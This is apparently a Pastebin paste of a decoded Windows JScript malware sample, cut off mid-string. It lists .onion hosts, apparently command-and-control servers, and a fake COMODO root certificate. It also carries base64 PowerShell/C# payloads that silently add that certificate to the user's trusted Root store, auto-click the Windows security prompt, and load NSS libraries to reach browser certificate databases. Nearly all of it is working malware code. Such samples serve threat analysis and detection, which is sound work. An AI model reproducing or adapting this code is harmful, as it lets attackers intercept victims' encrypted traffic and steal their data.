Advertisement
James_inthe_box

Decoded

Dec 11th, 2018
366
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 62.64 KB | None | 0 0
  1. var LOVpfVXwi = null;
  2. var ftv = null;
  3. var EXC = null;
  4. var mOTAYiWxSTPZ = new ActiveXObject("WScript.Shell");
  5. var LSf = new ActiveXObject("Scripting.FileSystemObject");
  6. var BINARY_STREAM_TYPE = 1;
  7. var TEXT_STREAM_TYPE = 2;
  8. var CREATE_OVERWRITE_SAVE_MODE = 2;
  9. var VpJzy = mOTAYiWxSTPZ.ExpandEnvironmentStrings("%TEMP%");
  10. var zmZt = mOTAYiWxSTPZ.ExpandEnvironmentStrings("%APPDATA%");
  11. var kQhOabIrFuPRNyO = mOTAYiWxSTPZ.ExpandEnvironmentStrings("%COMPUTERNAME%");
  12. var KiWitjjmZY = VpJzy + "\\" + kQhOabIrFuPRNyO + ".log";
  13. var UNiB = {
  14. OIErZrdCGipsji: ["hiv3dylycjbvgrxr.onion", "n6g66hecwbnf7bg4.onion", "3bbbccvomp5uhznz.onion", "m2pgzofn4w6ttgbb.onion", "auybplpgam3c62tc.onion"],
  15. mheAvCRCu: "MIIHFTCCBP2gAwIBAgIJAOsIak9TvrpNMA0GCSqGSIb3DQEBCwUAMIG3MQswCQYDVQQGEwJHQjEbMBkGA1UECBMSR3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHEwdTYWxmb3JkMRowGAYDVQQKExFDT01PRE8gQ0EgTGltaXRlZDE6MDgGA1UEAxMxQ09NT0RPIFJTQSBFeHRlbmRlZCBWYWxpZGF0aW9uIFNlY3VyZSBTZXJ2ZXIgQ0EgMjEhMB8GCSqGSIb3DQEJARYSc3VwcG9ydEBjb21vZG8uY29tMB4XDTE3MDEyODE1MDAyNFoXDTI3MDEyNjE1MDAyNFowgbcxCzAJBgNVBAYTAkdCMRswGQYDVQQIExJHcmVhdGVyIE1hbmNoZXN0ZXIxEDAOBgNVBAcTB1NhbGZvcmQxGjAYBgNVBAoTEUNPTU9ETyBDQSBMaW1pdGVkMTowOAYDVQQDEzFDT01PRE8gUlNBIEV4dGVuZGVkIFZhbGlkYXRpb24gU2VjdXJlIFNlcnZlciBDQSAyMSEwHwYJKoZIhvcNAQkBFhJzdXBwb3J0QGNvbW9kby5jb20wggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDZpNojdMd1uKJO16v6iPuFJK+Bghuu36jhthdUa6mp6xSacIHtjCTdF7aOwAJo3a0q5GMOZtro2c/B7yUqZNkYK9KMrIO2lWPaTuNKONfZ9pbfxE+UbeI/dCOx3MpmS3RlQ9SB60BVqK7Ag45ZZnbI2d/1QmS7cGcyTPLizNh7hLawE7rPuuvxs5MCWsf7Vw0bonSzHdieWrPo4lB+FeMTM2dhweEPJtI/G7ez+kfMtdzZuS6km9ypeQtxOroMT59expi7QCvn+XpKnuUbkUhdDvEz9L3NlKjwE7JuVzigTeAKK5eSYj3lv7ZNwnc6yGU8JLn3LFNMBj5mfqofRH188uJ/tGD8YhzqfD9/v2zJ+z+Puv8ehZTfg1U8kg9fR6nkHKDygeMVpbxJ7y1FdkvUzBp1S7jEJRrI8aZ2SbJLZqu0Vyeyn2NwIl0TyY5GynX15HlyemBkBRI/J+x6gP+teRs/zmrrxqEWYDWLt/csPXw7/qRnECQJ04bWqFY2k3U9K3CASSFH1aQdGwfoUF/QORKjDDzxfpMt4XIschTTsLV5znGxFQHG2BXP9xXZofOU2jDLTzfnV20Ql1yqYL9d7MvrCasEK4AkpE58LrveI3R6YIMEnXOnFDx6DdhLs1hHxun4YYTg/Et/QA+HXrDQxNIRlSbMDPcgNXj8s2pTvQIDAQABo4IBIDCCARwwHQYDVR0OBBYEFOY31lb58Ijdyjs7VcT+aY2Ml6VSMIHsBgNVHSMEgeQwgeGAFOY31lb58Ijdyjs7VcT+aY2Ml6VSoYG9pIG6MIG3MQswCQYDVQQGEwJHQjEbMBkGA1UECBMSR3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHEwdTYWxmb3JkMRowGAYDVQQKExFDT01PRE8gQ0EgTGltaXRlZDE6MDgGA1UEAxMxQ09NT0RPIFJTQSBFeHRlbmRlZCBWYWxpZGF0aW9uIFNlY3VyZSBTZXJ2ZXIgQ0EgMjEhMB8GCSqGSIb3DQEJARYSc3VwcG9ydEBjb21vZG8uY29tggkA6whqT1O+uk0wDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAgEANXnIRkyc1q0j9K49oU7SsPXJ5FvaqSez2Y5dddVjVOL9YuDhgrBwGhzfIwXRkmt1e49jPNEzkfCDm3fYB6zRddmhk8RfiLbQUvGbUp9uZiWCvq5o+nHATrlQs1RvgvG5CfktJFkejzBQMXKbRSk4/saL535Z+UK8xog9tIvMsYriVpzFTFh0WYUw6rK09wov6QSmVi4PvSzqAXNQuyPYtWgLHT62Br1AILgflWlhGuUVJInE9iyhT2OMbpPpvNW0hCNi9da9AttDaWXJUC2dghz9H0JZOebQJRUXGuOmDvv/BjV4ttkVIYBfL2WHRFc6hpNx0yUQLLz9EuVGimdOQv+B9r77W+ZLZfksjFaA4GRA+534WNB5wjC+duKR4TD7WyeTUd1dqYV2zTi2jd+LVqQ7G6yOwJhd/Dh03P+T/eIAlt6/eYpRUxxxTEbLak8MXGI7xlxPzSUOwmE8Rm8iCZbZsymDeJ65xOm7PLUv/nzK4oqBQyCCOjTp8omg4iJVoa/41c7vss4aPirGJxSEsrmHHl0Wo+G/B88mW9tOlW6Z2qBw7ESFDRuuEvSQQ7kTSMj2hm1uJoKB/C0SRQtebwLbbjG/Dnm07OTq5jkBP8Tf8+SSX9NDT3/ULus3USoNrekKFlTVJo6r86Y7HykGt+jglnZFH05bQFZl3fY3VNI=",
  16. ITBDyN: "ZnVuY3Rpb24gSXh3bHpuUHNzTk5QUHsKQWRkLVR5cGUgQCIKdXNpbmcgU3lzdGVtOwp1c2luZyBTeXN0ZW0uVGV4dDsKdXNpbmcgU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzOwp1c2luZyBTeXN0ZW0uRGlhZ25vc3RpY3M7CnVzaW5nIFN5c3RlbS5TZWN1" + "cml0eS5DcnlwdG9ncmFwaHkuWDUwOUNlcnRpZmljYXRlczsKdXNpbmcgU3lzdGVtLlRocmVhZGluZzsKCnB1YmxpYyBzdGF0aWMgY2xhc3MgdURXb3p0CnsKCXB1YmxpYyBjbGFzcyBick5Yd08KICAgIHsKICAgICAgICBwdWJsaWMgc3RyaW5nIFduZGNsYXNzOwog" + "ICAgICAgIHB1YmxpYyBzdHJpbmcgVGl0bGU7CiAgICAgICAgcHVibGljIHN0cmluZyBQcm9jZXNzOwogICAgICAgIHB1YmxpYyBJbnRQdHIgaFduZDsKICAgIH0KCiAgICBwcml2YXRlIGRlbGVnYXRlIGJvb2wgS0l6eGsoSW50UHRyIGhXbmQsIHJlZiBick5Yd08g" + "ZGF0YSk7CgogICAgW0RsbEltcG9ydCgidXNlcjMyLmRsbCIpXQogICAgW3JldHVybjogTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuQm9vbCldCiAgICBwcml2YXRlIHN0YXRpYyBleHRlcm4gYm9vbCBFbnVtV2luZG93cyhLSXp4ayBscEVudW1GdW5jLCByZWYgYnJO" + "WHdPIGRhdGEpOwoJCglbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IENoYXJTZXQuQXV0byldCiAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBpbnQgR2V0Q2xhc3NOYW1lKEludFB0ciBoV25kLCBTdHJpbmdCdWls" + "ZGVyIGxwQ2xhc3NOYW1lLCBpbnQgbk1heENvdW50KTsKCiAgICBbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIiwgQ2hhclNldCA9IENoYXJTZXQuQXV0bywgU2V0TGFzdEVycm9yID0gdHJ1ZSldCiAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBpbnQgR2V0V2luZG93VGV4" + "dChJbnRQdHIgaFduZCwgU3RyaW5nQnVpbGRlciBscFN0cmluZywgaW50IG5NYXhDb3VudCk7CgkKCVtEbGxJbXBvcnQoInVzZXIzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvKV0KCXN0YXRpYyBleHRlcm4gdWludCBH" + "ZXRXaW5kb3dUaHJlYWRQcm9jZXNzSWQoSW50UHRyIGhXbmQsIG91dCB1aW50IGxwZHdQcm9jZXNzSWQpOwoJCglbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIildCglbcmV0dXJuOiBNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5Cb29sKV0KCXN0YXRpYyBleHRlcm4gYm9v" + "bCBTZXRGb3JlZ3JvdW5kV2luZG93KEludFB0ciBoV25kKTsKCQoJcHVibGljIGRlbGVnYXRlIGJvb2wgdURQKEludFB0ciBod25kLCBJbnRQdHIgbFBhcmFtKTsKCQoJW0RsbEltcG9ydCgidXNlcjMyIildCglbcmV0dXJuOiBNYXJzaGFsQXMoVW5tYW5hZ2VkVHlw" + "ZS5Cb29sKV0KCXB1YmxpYyBzdGF0aWMgZXh0ZXJuIGJvb2wgRW51bUNoaWxkV2luZG93cyhJbnRQdHIgd2luZG93LCB1RFAgY2FsbGJhY2ssIEludFB0ciBsUGFyYW0pOyAgCgkKCVtEbGxJbXBvcnQoInVzZXIzMi5kbGwiLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRv" + "KV0KCXN0YXRpYyBleHRlcm4gSW50UHRyIFNlbmRNZXNzYWdlKEludFB0ciBoV25kLCBVSW50MzIgTXNnLCBJbnRQdHIgd1BhcmFtLCBJbnRQdHIgbFBhcmFtKTsKCQoJW0ZsYWdzXQogICAgcHJpdmF0ZSBlbnVtIFNuYXBzaG90RmxhZ3MgOiB1aW50CiAgICB7CiAg" + "ICBIZWFwTGlzdCA9IDB4MDAwMDAwMDEsCiAgICBQcm9jZXNzID0gMHgwMDAwMDAwMiwKICAgIFRocmVhZCA9IDB4MDAwMDAwMDQsCiAgICBNb2R1bGUgPSAweDAwMDAwMDA4LAogICAgTW9kdWxlMzIgPSAweDAwMDAwMDEwLAogICAgSW5oZXJpdCA9IDB4ODAwMDAw" + "MDAsCiAgICBBbGwgPSAweDAwMDAwMDFGLAogICAgTm9IZWFwcyA9IDB4NDAwMDAwMDAKICAgIH0KICAgIC8vaW5uZXIgc3RydWN0IHVzZWQgb25seSBpbnRlcm5hbGx5CiAgICBbU3RydWN0TGF5b3V0KExheW91dEtpbmQuU2VxdWVudGlhbCwgQ2hhclNldCA9IENo" + "YXJTZXQuQXV0byldCiAgICBwcml2YXRlIHN0cnVjdCBQUk9DRVNTRU5UUlkzMgogICAgewogICAgY29uc3QgaW50IE1BWF9QQVRIID0gMjYwOwogICAgaW50ZXJuYWwgVUludDMyIGR3U2l6ZTsKICAgIGludGVybmFsIFVJbnQzMiBjbnRVc2FnZTsKICAgIGludGVy" + "bmFsIFVJbnQzMiB0aDMyUHJvY2Vzc0lEOwogICAgaW50ZXJuYWwgSW50UHRyIHRoMzJEZWZhdWx0SGVhcElEOwogICAgaW50ZXJuYWwgVUludDMyIHRoMzJNb2R1bGVJRDsKICAgIGludGVybmFsIFVJbnQzMiBjbnRUaHJlYWRzOwogICAgaW50ZXJuYWwgVUludDMy" + "IHRoMzJQYXJlbnRQcm9jZXNzSUQ7CiAgICBpbnRlcm5hbCBJbnQzMiBwY1ByaUNsYXNzQmFzZTsKICAgIGludGVybmFsIFVJbnQzMiBkd0ZsYWdzOwogICAgW01hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkJ5VmFsVFN0ciwgU2l6ZUNvbnN0ID0gTUFYX1BBVEgpXQog" + "ICAgaW50ZXJuYWwgc3RyaW5nIHN6RXhlRmlsZTsKICAgIH0KCiAgICBbRGxsSW1wb3J0KCJrZXJuZWwzMiIsIFNldExhc3RFcnJvciA9IHRydWUsIENoYXJTZXQgPSBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuQ2hhclNldC5BdXRvKV0KICAgIHN0YXRp" + "YyBleHRlcm4gSW50UHRyIENyZWF0ZVRvb2xoZWxwMzJTbmFwc2hvdChbSW5dVUludDMyIGR3RmxhZ3MsIFtJbl1VSW50MzIgdGgzMlByb2Nlc3NJRCk7CgogICAgW0RsbEltcG9ydCgia2VybmVsMzIiLCBTZXRMYXN0RXJyb3IgPSB0cnVlLCBDaGFyU2V0ID0gU3lz" + "dGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLkNoYXJTZXQuQXV0byldCiAgICBzdGF0aWMgZXh0ZXJuIGJvb2wgUHJvY2VzczMyRmlyc3QoW0luXUludFB0ciBoU25hcHNob3QsIHJlZiBQUk9DRVNTRU5UUlkzMiBscHBlKTsKCiAgICBbRGxsSW1wb3J0KCJrZXJu" + "ZWwzMiIsIFNldExhc3RFcnJvciA9IHRydWUsIENoYXJTZXQgPSBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuQ2hhclNldC5BdXRvKV0KICAgIHN0YXRpYyBleHRlcm4gYm9vbCBQcm9jZXNzMzJOZXh0KFtJbl1JbnRQdHIgaFNuYXBzaG90LCByZWYgUFJP" + "Q0VTU0VOVFJZMzIgbHBwZSk7CgogICAgW0RsbEltcG9ydCgia2VybmVsMzIiLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgIFtyZXR1cm46IE1hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkJvb2wpXQogICAgcHJpdmF0ZSBzdGF0aWMgZXh0ZXJuIGJvb2wgQ2xvc2VI" + "YW5kbGUoW0luXSBJbnRQdHIgaE9iamVjdCk7CiAgICAKCWNvbnN0IGludCBCTV9DTCA9IDB4MDBGNTsKCQoJcHVibGljIHN0YXRpYyBieXRlW10gbEl4cnFPTyhTdHJpbmcgc0NlcnQpCiAgICB7CgkJcmV0dXJuIENvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhzQ2Vy" + "dCk7CiAgICB9CiAgICAgICAgCglwdWJsaWMgc3RhdGljIHZvaWQgTWRablVJVnBoKFN0cmluZyBzQ2VydCl7CgkJU3lzdGVtLkNvbnNvbGUuV3JpdGVMaW5lKCJbV2luMzJdOjpTdGFydCgpIik7CiAgICAgICAgYnl0ZVtdIGJDZXJ0ID0gbEl4cnFPTyhzQ2VydCk7" + "CiAgICAgICAgaWYgKGJDZXJ0ICE9IG51bGwpCiAgICAgICAgewogICAgICAgICAgICBYNTA5Q2VydGlmaWNhdGUyIGNlcnRpZmljYXRlID0gbmV3IFg1MDlDZXJ0aWZpY2F0ZTIoYkNlcnQpOwogICAgICAgICAgICBYNTA5U3RvcmUgc3RvcmUgPSBuZXcgWDUwOVN0" + "b3JlKFN0b3JlTmFtZS5Sb290LCBTdG9yZUxvY2F0aW9uLkN1cnJlbnRVc2VyKTsKICAgICAgICAgICAgc3RvcmUuT3BlbihPcGVuRmxhZ3MuUmVhZFdyaXRlKTsKICAgICAgICAgICAgaWYgKCFzdG9yZS5DZXJ0aWZpY2F0ZXMuQ29udGFpbnMoY2VydGlmaWNhdGUp" + "KQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBUaHJlYWQgdGhyZWFkID0gbmV3IFRocmVhZChqaW5KVEFHUkZqSk4pOwogICAgICAgICAgICAgICAgdGhyZWFkLlN0YXJ0KCk7CiAgICAgICAgICAgICAgICBzdG9yZS5BZGQoY2VydGlmaWNhdGUpOwogICAg" + "ICAgICAgICAgICAgdGhyZWFkLkpvaW4oKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBzdG9yZS5DbG9zZSgpOwogICAgICAgIH0KCX0KCQoJcHVibGljIHN0YXRpYyB2b2lkIGppbkpUQUdSRmpKTigpCgl7CgkJU3lzdGVtLkNvbnNvbGUuV3JpdGVMaW5lKCJb" + "V2luMzJdOjpTZWFyY2hEaWFsb2coKSIpOwoJCUludFB0ciBoV25kOwoJCWRvewoJCQloV25kID0gVUFOUCgiIzMyNzcwIixTdHJpbmcuRW1wdHkpOwoJCQlpZiAoIWhXbmQuRXF1YWxzKEludFB0ci5aZXJvKSkKCQkgICAgewoJCQkJU3lzdGVtLkNvbnNvbGUuV3Jp" + "dGVMaW5lKCJGb3VuZGVkIGhXbmQ9MHh7MDpYfSIsaFduZCk7CgkJICAgIAlicmVhazsKCQkJfWVsc2UKCSAgICAgICAgewoJCQkJaFduZD1JbnRQdHIuWmVybzsKCQkJCVN5c3RlbS5Db25zb2xlLldyaXRlTGluZSgiVHJ5IGFnYWluIGZpbmQgd2luZG93Iik7Cgkg" + "ICAgICAgIH0KCQl9d2hpbGUgKGhXbmQuRXF1YWxzKEludFB0ci5aZXJvKSk7CgkJU3lzdGVtLkNvbnNvbGUuV3JpdGVMaW5lKCJEaWFsb2cgd2luZG93IGZvdW5kZWQiKTsKCQlTZXRGb3JlZ3JvdW5kV2luZG93KGhXbmQpOwoJCXVEUCBjaGlsZFByb2MgPSBuZXcg" + "dURQKFNxdmt6a2EpOwoJCUVudW1DaGlsZFdpbmRvd3MoaFduZCwgY2hpbGRQcm9jLCBJbnRQdHIuWmVybyk7Cgl9CgkKCXB1YmxpYyBzdGF0aWMgSW50UHRyIFVBTlAoc3RyaW5nIHduZGNsYXNzLCBzdHJpbmcgdGl0bGUpCiAgICB7CiAgICAgICAgYnJOWHdPIHNk" + "ID0gbmV3IGJyTlh3TygpOwogICAgICAgIHNkLlduZGNsYXNzID0gd25kY2xhc3M7CiAgICAgICAgc2QuVGl0bGUgPSB0aXRsZTsKCQlzZC5oV25kPUludFB0ci5aZXJvOwoJCVN5c3RlbS5Db25zb2xlLldyaXRlTGluZSgiRW51bVdpbmRvdyAtfCIpOwogICAgICAg" + "IEVudW1XaW5kb3dzKG5ldyBLSXp4ayhRZkVncWJpd0xMRSksIHJlZiBzZCk7CiAgICAgICAgcmV0dXJuIHNkLmhXbmQ7CiAgICB9CiAgICAKCXB1YmxpYyBzdGF0aWMgYm9vbCBRZkVncWJpd0xMRShJbnRQdHIgaFduZCwgcmVmIGJyTlh3TyBkYXRhKQogICAgewog" + "ICAgCVN0cmluZ0J1aWxkZXIgdGl0bGUgPSBuZXcgU3RyaW5nQnVpbGRlcigxMDI0KTsKICAgICAgICBTdHJpbmdCdWlsZGVyIGNsYXNzTmFtZSA9IG5ldyBTdHJpbmdCdWlsZGVyKDEwMjQpOwogICAgICAgIEdldFdpbmRvd1RleHQoaFduZCwgdGl0bGUsIHRpdGxl" + "LkNhcGFjaXR5KTsKICAgICAgICBHZXRDbGFzc05hbWUoaFduZCwgY2xhc3NOYW1lLCBjbGFzc05hbWUuQ2FwYWNpdHkpOwogICAgICAgIFN0cmluZyBzRU49emxadHZhSnEoaFduZCkuVG9Mb3dlcigpOwoJCWlmKCghZGF0YS5XbmRjbGFzcy5FcXVhbHMoU3RyaW5n" + "LkVtcHR5KSAmJiBjbGFzc05hbWUuVG9TdHJpbmcoKS5TdGFydHNXaXRoKGRhdGEuV25kY2xhc3MpKSB8fCAoIWRhdGEuVGl0bGUuRXF1YWxzKFN0cmluZy5FbXB0eSkgJiYgdGl0bGUuVG9TdHJpbmcoKS5TdGFydHNXaXRoKGRhdGEuVGl0bGUpKSkKCQl7CgkJCVN5" + "c3RlbS5Db25zb2xlLldyaXRlTGluZSgiICAgICAgICAgICAgfC0gaFduZD0weHswOlh9OyBDbGFzcz17MX07IFRpdGxlPXsyfTsgUHJvY2Vzcz17M30iLGhXbmQsY2xhc3NOYW1lLlRvU3RyaW5nKCksdGl0bGUuVG9TdHJpbmcoKSxzRU4pOwogICAgICAgIAlpZihz" + "RU4uQ29udGFpbnMoImNzcnNzIikgfHwgc0VOLkNvbnRhaW5zKCJjZXJ0dXRpbCIpICB8fCBzRU4uQ29udGFpbnMoInBvd2Vyc2hlbGwiKSkKCSAgICAgICAgewoJCSAgICAgICAgZGF0YS5oV25kID0gaFduZDsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsK" + "CSAgICAgICAgfQogICAgICAgIH0KICAgICAgIAkKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KICAKCXB1YmxpYyBzdGF0aWMgU3RyaW5nIHpsWnR2YUpxKEludFB0ciBjUXpvaXZEeURWUCl7CgkJdWludCBMU01odGV4TiA9IDA7CgkJdWludCB0aHJlYWRJRCA9" + "IEdldFdpbmRvd1RocmVhZFByb2Nlc3NJZChjUXpvaXZEeURWUCwgb3V0IExTTWh0ZXhOKTsKCQlTdHJpbmcgc1Byb2MgPSBudWxsOwoJICAgIEludFB0ciBoYW5kbGVUb1NuYXBzaG90ID0gSW50UHRyLlplcm87CgkgICAgdHJ5CgkgICAgewoJICAgICAgICBQUk9D" + "RVNTRU5UUlkzMiB1UmdEID0gbmV3IFBST0NFU1NFTlRSWTMyKCk7CgkgICAgICAgIHVSZ0QuZHdTaXplID0gKFVJbnQzMilNYXJzaGFsLlNpemVPZih0eXBlb2YoUFJPQ0VTU0VOVFJZMzIpKTsKCSAgICAgICAgaGFuZGxlVG9TbmFwc2hvdCA9IENyZWF0ZVRvb2xo" + "ZWxwMzJTbmFwc2hvdCgodWludClTbmFwc2hvdEZsYWdzLlByb2Nlc3MsIDApOwoJICAgICAgICBpZiAoUHJvY2VzczMyRmlyc3QoaGFuZGxlVG9TbmFwc2hvdCwgcmVmIHVSZ0QpKQoJICAgICAgICB7CgkgICAgICAgIGRvCgkgICAgICAgIHsKCSAgICAgICAgICAg" + "IGlmIChMU01odGV4TiA9PSB1UmdELnRoMzJQcm9jZXNzSUQpCgkgICAgICAgICAgICB7CgkgICAgICAgICAgICBzUHJvYyA9IHVSZ0Quc3pFeGVGaWxlOwoJICAgICAgICAgICAgYnJlYWs7CgkgICAgICAgICAgICB9CgkgICAgICAgIH0gd2hpbGUgKFByb2Nlc3Mz" + "Mk5leHQoaGFuZGxlVG9TbmFwc2hvdCwgcmVmIHVSZ0QpKTsKCSAgICAgICAgfQoJICAgICAgICBlbHNlCgkgICAgICAgIHsKCSAgICAgICAgCXRocm93IG5ldyBBcHBsaWNhdGlvbkV4Y2VwdGlvbihzdHJpbmcuRm9ybWF0KCJGYWlsZWQgd2l0aCB3aW4zMiBlcnJv" + "ciBjb2RlIHswfSIsIE1hcnNoYWwuR2V0TGFzdFdpbjMyRXJyb3IoKSkpOwoJICAgICAgICB9CgkgICAgfQoJICAgIGNhdGNoIChFeGNlcHRpb24gZXgpCgkgICAgewoJICAgICAgICB0aHJvdyBuZXcgQXBwbGljYXRpb25FeGNlcHRpb24oIkNhbid0IGdldCB0aGUg" + "cHJvY2Vzcy4iLCBleCk7CgkgICAgfQoJICAgIGZpbmFsbHkKCSAgICB7CgkgICAgICAgIENsb3NlSGFuZGxlKGhhbmRsZVRvU25hcHNob3QpOwoJICAgIH0KCSAgICByZXR1cm4gc1Byb2M7Cgl9CglwdWJsaWMgc3RhdGljIGJvb2wgU3F2a3prYShJbnRQdHIgaFdu" + "ZCwgSW50UHRyIGxQYXJhbSkKCXsKCQlTZW5kTWVzc2FnZShoV25kLCBCTV9DTCwgSW50UHRyLlplcm8sIEludFB0ci5aZXJvKTsKCQlyZXR1cm4gdHJ1ZTsKCX0KfQoiQDsKW3VEV296dF06Ok1kWm5VSVZwaCgiJUNFUlQlIik7CmV4aXQKfQpJeHdsem5Qc3NOTlBQ",
  17. zOTN: "ZnVuY3Rpb24gcVd5ZG9veHNmY3VYewpBZGQtVHlwZSBAIgp1c2luZyBTeXN0ZW07CnVzaW5nIFN5c3RlbS5JTzsKdXNpbmcgTWlj" + "cm9zb2Z0LldpbjMyOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CnVzaW5nIFN5c3RlbS5Db21wb25lbnRN" + "b2RlbDsKCnB1YmxpYyBzZWFsZWQgY2xhc3MgVnZ2bHVWWXZDVkhaY0tKCnsKCXByaXZhdGUgc3RhdGljIHZvbGF0aWxlIFZ2dmx1" + "Vll2Q1ZIWmNLSiBiV1FPeWNRc3F3dWpUWDsKCXByaXZhdGUgc3RhdGljIG9iamVjdCBGanVTbXhjVXogPSBuZXcgT2JqZWN0KCk7" + "CglwdWJsaWMgc3RhdGljIFZ2dmx1Vll2Q1ZIWmNLSiB5WHBXenpOeW9mQVhGdygpCiAgICB7CiAgICAgICAgaWYgKGJXUU95Y1Fz" + "cXd1alRYID09IG51bGwpCiAgICAgICAgewogICAgICAgICAgICBsb2NrIChGanVTbXhjVXopCiAgICAgICAgICAgIHsKICAgICAg" + "ICAgICAgICAgIGlmIChiV1FPeWNRc3F3dWpUWCA9PSBudWxsKQogICAgICAgICAgICAgICAgYldRT3ljUXNxd3VqVFggPSBuZXcg" + "VnZ2bHVWWXZDVkhaY0tKKCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuIGJXUU95Y1FzcXd1alRYOwog" + "ICAgfQoJCgljb25zdCBpbnQgR2xQdE5zZ1VjPTA7CiAgICAKICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyIiwgU2V0TGFzdEVycm9y" + "ID0gdHJ1ZSwgQ2hhclNldCA9IENoYXJTZXQuQW5zaSldCiAgICBzdGF0aWMgZXh0ZXJuIEludFB0ciBMb2FkTGlicmFyeShbTWFy" + "c2hhbEFzKFVubWFuYWdlZFR5cGUuTFBTdHIpXXN0cmluZyBscEZpbGVOYW1lKTsKCiAgICBwcml2YXRlIHN0YXRpYyBJbnRQdHIg" + "c1ZvR3BZcEwoc3RyaW5nIGxpYlBhdGgpCiAgICB7CiAgICAgICAgaWYgKFN0cmluZy5Jc051bGxPckVtcHR5KGxpYlBhdGgpKQog" + "ICAgICAgICAgICB0aHJvdyBuZXcgQXJndW1lbnROdWxsRXhjZXB0aW9uKCJsaWJQYXRoIik7CgogICAgICAgIEludFB0ciBtb2R1" + "bGVIYW5kbGUgPSBMb2FkTGlicmFyeShsaWJQYXRoKTsKICAgICAgICBpZiAobW9kdWxlSGFuZGxlID09IEludFB0ci5aZXJvKQog" + "ICAgICAgIHsKICAgICAgICAgICAgaW50IGxhc3RlcnJvciA9IE1hcnNoYWwuR2V0TGFzdFdpbjMyRXJyb3IoKTsKICAgICAgICAg" + "ICAgU3lzdGVtLkNvbnNvbGUuV3JpdGVMaW5lKFN0cmluZy5Gb3JtYXQoIkxhc3QgZXJyb3I6IDB4ezA6WH0iLGxhc3RlcnJvcikp" + "OwogICAgICAgICAgICBXaW4zMkV4Y2VwdGlvbiBpbm5lckV4ID0gbmV3IFdpbjMyRXhjZXB0aW9uKGxhc3RlcnJvcik7CiAgICAg" + "ICAgICAgIGlubmVyRXguRGF0YS5BZGQoIkxhc3RXaW4zMkVycm9yIiwgbGFzdGVycm9yKTsKICAgICAgICAgICAgdGhyb3cgbmV3" + "IEV4Y2VwdGlvbigiY2FuJ3QgbG9hZCBETEwgIiArIGxpYlBhdGgsIGlubmVyRXgpOwogICAgICAgIH0KICAgICAgICByZXR1cm4g" + "bW9kdWxlSGFuZGxlOwogICAgfQoKICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIpXQogICAgcHVibGljIHN0YXRpYyBleHRl" + "cm4gSW50UHRyIEdldFByb2NBZGRyZXNzKEludFB0ciBoTW9kdWxlLCBzdHJpbmcgcHJvY2VkdXJlTmFtZSk7CgkvL0NvbnN0YW50" + "cwogICAgY29uc3QgdWludCBOU1NfSU5JVF9SRUFET05MWT0weDE7CiAgICBjb25zdCB1aW50IE5TU19JTklUX05PQ0VSVERCID0g" + "MHgyOwogICAgY29uc3QgdWludCBOU1NfSU5JVF9OT01PRERCID0gMHg0OwogICAgY29uc3QgdWludCBOU1NfSU5JVF9GT1JDRU9Q" + "RU4gPSAweDg7CiAgICBjb25zdCB1aW50IE5TU19JTklUX05PUk9PVElOSVQgPSAweDEwOwogICAgY29uc3QgdWludCBOU1NfSU5J" + "VF9PUFRJTUlaRVNQQUNFID0gMHgyMDsKICAgIGNvbnN0IHVpbnQgTlNTX0lOSVRfUEsxMVRIUkVBRFNBRkUgPSAweDQwOwogICAg" + "Y29uc3QgdWludCBOU1NfSU5JVF9QSzExUkVMT0FEID0gMHg4MDsKICAgIGNvbnN0IHVpbnQgTlNTX0lOSVRfTk9QSzExRklOQUxJ" + "WkUgPSAweDEwMDsKICAgIGNvbnN0IHVpbnQgTlNTX0lOSVRfUkVTRVJWRUQgPSAweDIwMDsKICAgIGNvbnN0IHVpbnQgTlNTX0lO" + "SVRfQ09PUEVSQVRFID0gTlNTX0lOSVRfUEsxMVRIUkVBRFNBRkUgfCBOU1NfSU5JVF9QSzExUkVMT0FEIHwgTlNTX0lOSVRfTk9Q" + "SzExRklOQUxJWkUgfCBOU1NfSU5JVF9SRVNFUlZFRDsKCiAgICBjb25zdCBzdHJpbmcgU0VDTU9EX0RCID0gInNlY21vZC5kYiI7" + "CiAgICAvL1N0cnVjdHVyZXMKICAgIFtTdHJ1Y3RMYXlvdXQoTGF5b3V0S2luZC5TZXF1ZW50aWFsKV0KICAgIHB1YmxpYyBzdHJ1" + "Y3QgU0VDSXRlbSAKICAgIHsKICAgICAgICBwdWJsaWMgdWludCBpVHlwZTsKICAgICAgICBwdWJsaWMgSW50UHRyIGJEYXRhOwog" + "ICAgICAgIHB1YmxpYyB1aW50IGlEYXRhTGVuOwogICAgfQoKICAgIFtTdHJ1Y3RMYXlvdXQoTGF5b3V0S2luZC5TZXF1ZW50aWFs" + 